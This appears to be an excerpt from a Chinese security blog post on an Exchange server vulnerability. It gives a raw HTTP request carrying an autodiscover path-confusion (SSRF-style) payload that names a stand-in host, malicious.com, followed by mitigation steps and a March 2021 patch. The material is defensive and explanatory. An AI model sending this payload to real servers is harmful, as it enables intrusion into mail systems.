POST /autodiscover/autodiscover.json?@malicious.com/autodiscover/autodiscover.json? Email=autodiscover/autodiscover.json%3F@malicious.com HTTP/1.1

Host: exchange

Content-Type: application/x-www-form-urlencoded


{

  "ServerInfo": {

    "Server": "127.0.0.1",

    "Port": 80,

    "VirtualDirectory": "autodiscover",

    "Protocol": "http"

  }

}

防御方案:

1. 紧急缓解:

# 禁用相关虚拟目录

Set-OabVirtualDirectory -Identity "EXCH01\OAB (Default Web Site)" -ExternalUrl $null

Set-WebServicesVirtualDirectory -Identity "EXCH01\EWS (Default Web Site)" -BasicAuthentication $false

2. 永久修复:

   安装2021年3月安全更新(KB5000871)

   启用Windows Defender for Identity检测

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值